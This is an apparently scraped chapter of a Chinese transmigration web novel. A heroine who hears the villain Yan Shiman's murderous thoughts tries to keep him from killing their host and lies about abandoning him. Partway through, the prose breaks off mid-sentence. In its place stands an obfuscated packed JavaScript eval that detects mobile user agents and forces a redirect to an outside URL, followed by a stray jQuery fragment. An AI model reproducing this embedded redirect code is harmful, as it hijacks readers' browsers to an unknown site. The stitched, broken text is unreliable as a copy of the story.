殷知意想起先前燕时满的心声,让他们睡一间房,她都怕今晚林连清就血溅当场。
见她这般,其余三人的视线都落在了她身上。
殷知意也发现自己的反应是有点太激烈的,于是立马又缓和了口气道:“不是,我的意思是,本来我们就是外人,哪里还能让我兄长挤着林大哥呢,实在是过意不去。”
听她这么说,林连清嘴角扬起一抹笑,连忙道:“不麻烦不麻烦。”
殷知意见林连清不上道,一把拽住燕时满:“兄长,你说呢?”
温热柔软的掌心贴上来,像是一块上好的羊脂玉,触感温润,只是握的很用力。
燕时满没说话,视线落在两人交叠的双手上,目光晦涩。
几息后,殷知意脑中才传来两道不大不小的心声。
【她很不想让我和林连清一间房吗?】
【难道她知道什么了?】
听见两句话的时候,她面色差点僵住,手更是下意识想将人甩开,但最后还会硬生生忍住了,没有露出一丝端倪。
燕时满也太敏锐了吧。
只见少年嘴角勾起一抹笑,眼底藏着一丝不易察觉的冷意:“我感觉……”
【今夜就是杀了叶连清的好时候,希望他死的时候,也能笑的这么开心。】
眼见事情就要不受她控制,殷知意及时打断燕时满即将开口的话:“林婶子!不如这样,我和兄长一间屋,让他睡地上就行,不麻烦您和林大哥了。”
“可……”林连清听见这话,忍不住皱眉。
他想说,男女有别,就算是亲兄妹,到了该避嫌的年纪,也不适合同住一屋。
他还想说什么,就陡然对上了燕时满的目光。
霎时间,被那目光看的浑身一僵。
燕时满眸中满是不耐,虽然他暂时不想弄死他,但不代表他就可以时时刻刻的挑衅他,真是……十分聒噪。
他漆黑的眸子闪过一抹暗红。
须臾,男人原本质疑的目光开始涣散,碰触桌沿的瞬间,一抹黑色的细线缠绕上他的手臂。
殷知意怕燕时满还有弄死叶连清的心思,连忙拉着他去了房里。
唉……还是她一直盯着比较放心。
杂物间内,林婶子已经打扫出来了,就是地方小了点,但是将就住一晚上,也不错了。
至少比直接住在荒郊野岭强多了。
刚进来,少年脸上就露出一抹疑惑:“小姐,为什么不让我和林连清一起住?”
“嗯,因为我想和你一起住。”殷知意信口胡诌,最近这两天,她真是张嘴就来。
编习惯了,她有点口不择言了。
说完才发现,少年耳尖又红了。
殷知意连忙解释:“不是,我的意思是,我得和你商量一下明天的事,一间屋子比较方便。”
现在她面对的这个可是情绪多变的反派,虽然他现在把她当成了自己的所属物,好像没什么敌意,但要是什么时候,他心思不定,又把她归类成林连清这种,可以直接弄死的NPC怎么办?
以后,她还是要谨言慎行。
“哦,原来如此。”
“那小姐打算接下来怎么办?”
听见对面人询问,殷知意不由得思绪又活络起来。
“你伤怎么样了?”
她突然转移话题,倒是让燕时满一愣。
“我的伤不要紧。”
这话听起来算得上相当的善解人意了,殷知意想起上次他受伤,似乎比普通人恢复起来要快得多,不由得又想到接收的那部分记忆,这大约是被炼化的傀儡特有的能力?
但即使如此,她面上还是多了几分严肃,毕竟先前是她给他上的药,她知道这人伤的有多重。
果不其然,她掀开衣摆的时候,就看见,少年原本白皙的肌肤上,那道狰狞的伤口分外可怖的朝外渗着鲜血,看上去不是一时半会儿能好的。
殷知意面上满是担忧:“不如这样吧,你这伤势实在是太严重了,就留在辞玉县修养一段时日吧。”
“我到时让我爹派人来接你。”
殷知意目光真挚的看向少年,她简直是个天才,只要把燕时满丢在辞玉县,她自己用回云桑城的借口,不仅可以去仙云郡走剧情,而且还远离了反派,原主的剧情线本来也就不多了,等燕时满再去仙云郡找仇人报仇时,她就该下线了,一箭双雕。
但这一切美好的幻想,被燕时满幽幽一句:“小姐这是想丢下我,一个人离开?”击碎。
“当然不是,你是因为救我受的伤,我没这么丧良心,但你现在的伤势实在是不方便舟车劳顿,你在这里乖乖等我,等回云桑城后,我让我爹派人来接你。”
殷知意耐心的解释,心中想的却是,只要能完成任务,必要时候也是可以撒点小谎的。
毕竟,等她回到现实世界了,根本不在乎反派会不会记恨她。
燕时满突然笑了:“小姐真的会回云桑城吗?那为什么昨日要和林婶子说,我们是上京人氏?难道不是故意让她打听去上京的消息吗?”
殷知意摸摸鼻子:“你别瞎说,我那是骗她的,出门在外还是要有基本的防人之心,自然不能将事情和盘托出啊。”
“小姐,有没有人说过,你真的很不会撒谎。”
听见这话,她瞳孔放大,下一秒手被燕时满反扣住。
少年的指腹带着点粗粝的质感,一下一下刮蹭在她的掌心,痒痒的,他语气蓦地低了几分,凑近殷知意的耳侧,像是情人之间的呢喃。
“小姐,放松一点,你握的太紧了。”
【想撇下我吗?真是很不乖呢,如果这样,还不如直接将人做成傀儡。】
殷知意不只是被他说出的话吓到,还是被他心中的心声吓到,手忙不迭的下撤。
她确实不太擅长撒谎,在穿来这个书中世界之前,她不是在荒郊野岭刷新鬼魂,就是陪她师傅练功,一年到头,也就偶尔出门去雇主家驱驱邪的时候还能说上两句,和陌生人正常交流的机会少之又少,更别说骗人了。
实在是很为难她。
其实若是换成旁人,殷知意的神态语言上实在算不上露出破绽,但燕时满从小就在察言观色中讨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322849|158904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生活,自然是一丁点的不同,都会引起他十二分的注意。
她紧张的时候,肌肉就会不自觉的紧绷。
燕时满余光落在她手上。
殷知意辩驳道:“当然不是,你怎么会这么想呢?”
“我怎么可能会丢下你?只要你是我城主府的人,我就永远都不会抛下你。”
殷知意生怕燕时满真的想把她做成傀儡,连忙承诺道。
“永远也不会吗?”少年将这两个字单拎出来,明明语气与平时无异,但却总让人觉得,他在慢慢咀嚼这两个字。
“当然。”殷知意语气肯定。
燕时满当然不相信,永远这两个字,曾经也有人对他说过,可惜最后还是抛弃了他,他能感受得到殷知意对他的那点喜欢,那点出于对他那张皮囊的喜欢,就像曾经他阿娘和师傅。
他们喜欢他,说永远不会抛下他,但又从未真的喜欢他。
他只是两人弃如敝履的宠物。
一如刚刚殷知意那一览无余的心思,他眸中寒意更甚,虽然他不知晓缘由,但他很确定,方才她想撇下他。
“以前也有人这么说过,但是却没人做得到。”
殷知意听见少年冷硬的声线,突然想到先前剧情里,在燕时满悲惨的童年时期,好像确实有过两段不算亲密的亲密关系。
一个是将他养到五岁,然后转手将其丢给他那变态爹的娘,还有一个就是他从那变态爹那里逃出去后,遇见的第一个对他关怀备至,体贴入微的师傅,可惜他最后却发现,那温柔不过是镜花水月,他那师傅是一个恶心的恋*癖。
这么一看,其实反派也还挺可怜的。
不幸的童年要用一生来治愈。
殷知意突然不知道该如何作答了。
几息后,她叹了口气,语气有些艰涩: “……嗯,我还是讲信用的,只要我还在这个世界上,答应你的事情,肯定忘不了。”
她决定玩点文字游戏。
只要她在,她肯定遵守诺言,不在了,就不好说了。
这话说完,场面一时有些安静。
直到一声轻笑打破这奇异的氛围,少年转过身去:“我相信小姐。”
燕时满强迫自己压下心中的那抹扭曲的心思。
她眼睛太亮了——像夜晚水中倒映出的一弯明月。
望过来时甚至带了一丝他读不懂的怜惜。
这眼神烫的他心头一跳。
明明殷知意的承诺对他而言,无关紧要,但莫名的他心中涌起一股说不清的情绪,不是先前的烦躁,而是一种比烦躁更难以理解的情绪。
她还真是多变,明明方才还想要撇下他,现在说的这些话又是什么意思?
在骗他吗?
只是,他的嘴角还是忍不住的微微上扬。
今夜注定是个好眠的夜晚。
而一墙之隔的叶连清却不是那么好过,清早起来,他只觉自己脸上火辣辣的疼。
嘴里更是有一股血腥味,一张嘴,他就发现自己嘴里都被牙齿磕破了皮,疼的他龇牙咧嘴。
真是见鬼了!